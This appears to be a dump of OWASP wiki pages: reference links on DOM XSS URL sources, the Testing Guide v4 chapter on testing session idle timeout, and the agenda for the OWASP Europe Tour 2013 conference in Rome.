* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.
* Krzysztof Kotowicz: "Local or Externa? Weird URL formats on the loose" - http://kotowicz.net/absolute/
'''Tools''' 
* DOMinator - https://dominator.mindedsecurity.com/

Test Session Timeout (OTG-SESS-007)

2013-12-09T17:32:20Z

Davide Danelon: Created page with "{{Template:OWASP Testing Guide v4}} == Brief Summary == In this phase, we check that the application automatically logs out a user when that user has been idle for a ce..."

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
 
In this phase, we check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.
 
== Description of the Issue ==
 
All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID.
 
The most appropriate timeout should be a right balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the criticality of the data handled by the application. For example, a 60 minute logout time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes it's, in general, recommended). In any case, any application that does not enforce a timeout-based logout should be considered not secure, unless such behavior is required by a specific functional requirement.
 
The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.
 
Session timeout management and expiration must be enforced server-side. If some data, under the control of the client, are used to enforce the session timeout, for example using the session token or other client parameters to track time references (e.g. number of minutes since login time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user's session and delete every data stored on the client.
 
Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to logout from the application.
 
More specifically, as for the logout function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens.
 
If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim's PC), but, in a variety of cases, this may not be impossible or particularly difficult.
 
The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., webmail, online bank account): if the user moves away from the computer, without explicitly logging out, and the session timeout is not implemented on the application, then an attacker could access to the same account even long time after, for instance, by simply pressing the “back” button of the browser.
 

== Black Box testing and example ==
 
The same approach that we have seen in the [[Testing for logout functionality (OWASP-SM-007)]] section can be applied when measuring the timeout logout.
 
So the testing methodology is very similar. First, we have to check whether a timeout exists, for instance, by logging in and then killing some time reading some other Testing Guide chapter, waiting for the timeout logout to be triggered. As in the logout function, after the timeout has passed, all session tokens should be destroyed or be unusable.
 
Then, if the timeout is configured, we need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session token does not store any data about the time), we can assume that the timeout is enforced by the server. If the session token contains some time related data (e.g., login time, or last access time, or expiration date for a persistent cookie), then it's possible that the client is involved in the timeout enforcing. In this case, we could try to modify the token (if it's not cryptographically protected) and see what happens to our session. For instance, we can set the cookie expiration date far in the future and see whether our session can be prolonged.
 
As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.
 

== Gray Box testing and example ==
 
As a general rule, we need to check that:
* The logout function effectively destroys all session token, or at least renders them unusable,
* The server performs proper checks on the session state, disallowing an attacker to replay some previous token,
* A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected.
 
Note: the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. HttpSession.invalidate() in Java and Session.abandon() in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.
 

== References ==
'''OWASP Resources'''
* [[Session Management Cheat Sheet]]

EUTour2013 Rome Agenda

2013-09-02T15:25:55Z

Davide Danelon:

<noinclude>{{:EUTour2013 header}}</noinclude>

{|style="vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;" align="center" cellspacing="5"
|-
| align="center" height="30" style="background:#CCCCEE;" colspan="2" | '''CONFERENCE AND TRAINING'''
|-
| align="center" style="background:#EEEEEE;" colspan="2" |
== '''OWASP Europe Tour - Rome 2013''' ==
'''Thursday 27th June (Conference) Friday 28th June (Training)'''
|-
| valign="center" bgcolor="#CCCCEE" align="center" colspan="2" | '''DESCRIPTION'''
|-
| valign="left" height="80" bgcolor="#EEEEEE" align="left" colspan="2" | '''OWASP Europe TOUR,''' is an event across the European region that promotes awareness about application security, so that people and organizations can make informed decisions about true application security risks. Everyone is free to participate in OWASP and all of our materials are available under a free and open software license.

*Apart from OWASP's Top 10, most OWASP Projects are not widely used and understood. In most cases this is not due to lack of quality and usefulness of those Document & Tool projects, but due to a lack of understanding of where they fit in an Enterprise's security ecosystem or in the Web Application Development Life-cycle.

* This event aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them.
|-
| align="center" style="background:#CCCCEE;" colspan="2" | '''OWASP MEMBERSHIP'''
|-
| valign="left" height="80" bgcolor="#EEEEEE" align="center" colspan="2" | During the OWASP Europe Tour you could become a member and support our mission. 
[https://www.cvent.com/Events/ContactPortal/Login.aspx?cwstub=15bbcfd1-f49b-4636-ba4e-c9ce70a265e5 Become an OWASP member by clicking here] 
|}
 

{|style="vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;" align="center" cellspacing="5"
|-
| align="center" style="background:#4B0082;" colspan="2" | 
'''CONFERENCE (Thursday 27th June)''' 
|-
|-
| style="width:20%" valign="middle" bgcolor="#CCCCEE" align="center" colspan="0" | '''When'''
| style="width:80%" valign="middle" bgcolor="#CCCCEE" align="center" colspan="0" | '''Where'''
|-
| valign="middle" bgcolor="#EEEEEE" align="center" | ''' Thursday 27th June the Conference, Friday 28th June for the Training '''
| valign="middle" bgcolor="#EEEEEE" align="left" | '''Venue Location: Università Degli Studi Roma Tre 
Venue Address: Via vito Volterra, 62, 00182 Roma, Italy''' 
Venue Map: [http://maps.google.com/maps?q=Via+vito+Volterra,+62,+00182+Roma,+Italy&hl=en&ll=41.853564,12.469354&spn=0.011843,0.013733&sll=41.853836,12.472486&sspn=0.023686,0.027466&t=h&hq=Via+vito+Volterra,+62,+00182+Roma,+Italy&z=16 Google Maps]
|-
| align="center" style="background:#CCCCEE;" colspan="2" | '''Price and registration'''
|-
| align="center" style="background:#EEEEEE;" colspan="2" | This event is '''FREE''' 
'''Registration Link to the Europe Tour''':[http://www.eventbrite.it/event/7032513437 | Conference]''' 

 
''' Europe Tour Training [https://www.owasp.org/index.php/EUTour2013_Training | Page] 
'''Registration Link to the Europe Tour''':[http://www.regonline.com/eutour13itatrainingmobile | Training]''' 

 
|-
|}
 
{|style="vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;" align="center" cellspacing="4"
| style="width:100%" valign="middle" height="40" bgcolor="#CCCCEE" align="center" colspan="6" | '''Conference Details '''
|-
| style="width:7%" valign="middle" height="30" bgcolor="#CCCCEE" align="center" colspan="0" | '''Time'''
| style="width:20%" valign="middle" height="30" bgcolor="#CCCCEE" align="center" colspan="0" | '''Title'''
| style="width:20%" valign="middle" height="30" bgcolor="#CCCCEE" align="center" colspan="0" | '''Speaker'''
| style="width:40%" valign="middle" height="30" bgcolor="#CCCCEE" align="center" colspan="0" | '''Description'''
| style="width:13%" valign="middle" height="30" bgcolor="#CCCCEE" align="center" colspan="0" | '''Presentation'''
|-
| style="width:7%" valign="middle" height="30" bgcolor="#CCEEEE" align="center" colspan="0" | 09:00 am (30 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#CCEEEE" align="center" colspan="0" | Registration
| style="width:20%" valign="middle" height="30" bgcolor="#CCEEEE" align="center" colspan="0" |
| style="width:40%" valign="middle" height="30" bgcolor="#CCEEEE" align="center" colspan="0" |
| style="width:13%" valign="middle" height="30" bgcolor="#CCEEEE" align="center" colspan="0" |
|-
| style="width:7%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 9:30 am (15 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Introduction by the Academic Authorities to the event OWASP European Tour 2013 - Rome
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Università Degli Studi Roma Tre
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" |
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" |
|-
| style="width:7%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 9:45 am (45 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | OWASP Shepherd project
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Mark Denhian, David Ryan and Paul McCann
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Competing in CTF events can be difficult for some and winning them can even be strenuous. Behind the curtains creating a fun and resilient CTF to be played with in the first place is the near impossible challenge. The Honeyn3t Ireland team have spent the last better part of a year working on providing CTFs. This talk will chronicle how to run a successful CTF by highlighting the common mistakes made and by utilising existing OWASP projects
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | [https://www.owasp.org/images/4/4a/CTF_Magic_OWASP_EU_Tour_2013.pdf Slides]
|-
| style="width:7%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 10:30 am (30 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | PCI for Developers
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Fabio Cerullo, OWASP Dublin Chapter, CEO & Founder of Cycubix
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | The PCI-DSS and PA DSS standards are well known to security professionals and auditors, but how are these interpreted by software development teams? Usually is not clear whether all requirements are necessary and most importantly, how these should be implemented. This talk aims to help developers understanding the key points of these standards in a simple and fast approach and be able to implement them during the software development cycle
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | [http://prezi.com/eqjkvu9bahop/?utm_campaign=share&utm_medium=copy Slides]
|-
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 11:00AM (30 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Scripting Application Security
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Dinis Cruz, OWASP O2 Platform project leader
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Pentesting at the speed of Scripting (using O2 Platform)
This presentation will show how the OWASP O2 Platform scripting capabilities can be used to 'codify' an pen-testers mind/action and perform advanced analysis, fuzzing and exploitation of both Web and desktop-based Applications.
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | -
|-
| style="width:7%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 11:30 am (30 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Client-Side Security in the modern Web
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Mauro Gentile, Software Security Consultant of Minded Security
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | The web is evolving day by day: interactive and effective web applications are progressively adopted in the Internet thanks to innovative solutions implemented in modern web browsers. These latters offer sensational capabilities for running complex applications since client-side scripting languages ensure flexibility and varied functionalities. As the complexity of the web moves on the client-side, web security needs to shift its focus on this part too; indeed, enriching browsers capabilities may pave the way to new possible threats and attack surfaces. In this talk, we analyse how the adoption of HTML5 impacted the Web in terms of security and we dissect how attackers might exploit such introduction in order to realize successful attacks. By touching novel XSS attack vectors, clickjacking techniques, CSRF exploits, and cross domain communication approaches, we present interesting and real attack methodologies, and at the same we report robust defenses, such as CSP, against these today's threats by trying to understand the hindrances which could slaken their adoption. Eventually, practical examples are provided for each discussion point and the behaviors of the parties, which are involved in the attack, are considered in order to understand how attackers move, how victims are cheated and how developers should act.
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | [https://www.owasp.org/images/7/7c/Gentile_OWASP_EU_Tour_2013.pdf Slides]
|-
| style="width:7%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | 12:00 am (30 mins)
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Android Apps permissions model (in)security
| style="width:20%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Davide Danelon, Software Security Consultant of Minded Security
| style="width:40%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | Android devices, as well as applications developed for them, are growing exponentially and, as result, the personal data that users retain on such devices are increasing. Android has made of the "permissions model", a flag of the security of the operating system. How this model turns out to be really secure? Can an application, that do not require any permission, access to sensitive data and send them to a remote handler? We will focus on the security management of Android and how this model can be, in part, bypassed independently from the version in use. In the example shown, an application, seemingly harmless, is able to steal the data stored on a device updated to the latest version, currently available, of Android.
| style="width:13%" valign="middle" height="30" bgcolor="#EEEEEE" align="center" colspan="0" | [https://www.owasp.org/images/3/3e/Danelon_OWASP_EU_Tour_2013.pdf Slides]
|}